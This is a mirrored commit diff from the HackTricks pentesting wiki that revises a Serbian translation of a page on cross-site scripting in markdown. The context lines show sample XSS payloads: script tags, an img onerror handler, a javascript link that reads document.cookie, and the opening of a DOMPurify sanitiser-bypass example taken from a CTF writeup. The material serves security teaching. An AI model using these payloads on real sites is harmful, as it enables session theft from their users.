maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-web/xss-cross-site-scripting/xss-in-markdown

Browse Source
This commit is contained in:
Translator 2025-01-26 09:38:12 +00:00
parent 73c265cc92
commit 7915a3f439
1 changed files with 4 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

8
src/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md
View File

@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
Ako imate priliku da ubrizgate kod u markdown, postoji nekoliko opcija koje možete koristiti da pokrenete XSS kada se kod interpretira.
Ako imate priliku da injektujete kod u markdown, postoji nekoliko opcija koje možete koristiti da pokrenete XSS kada se kod interpretira.
### HTML tagovi
Najčešći način da dobijete XSS u markdown-u je da ubrizgate uobičajene HTML tagove koji izvršavaju javascript, jer će nekoliko markdown interpretera takođe prihvatiti HTML.
Najčešći način da dobijete XSS u markdown-u je da injektujete uobičajene HTML tagove koji izvršavaju javascript, jer će nekoliko markdown interpretera takođe prihvatiti HTML.
```html
<!-- XSS with regular tags -->
<script>
@ -14,7 +14,7 @@ alert(1)
</script>
<img src="x" onerror="alert(1)" />
```
Možete pronaći više primera na [glavnoj XSS stranici hacktricks]().
Možete pronaći više primera na [glavnoj XSS stranici hacktricks](README.md).
### Javascript linkovi
@ -42,7 +42,7 @@ t:prompt(document.cookie))
```
### HTML Sanitiser Markdown Bypass
Sledeći kod **sanitizuje HTML ulaz** i zatim **prosledi ga markdown parseru**, zatim se XSS može aktivirati zloupotrebom pogrešnih interpretacija između Markdown-a i DOMPurify-a.
Sledeći kod **sanitizuje HTML ulaz** i zatim **prosleđuje ga markdown parseru**, zatim se XSS može aktivirati zloupotrebom pogrešnih interpretacija između Markdown-a i DOMPurify-a.
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>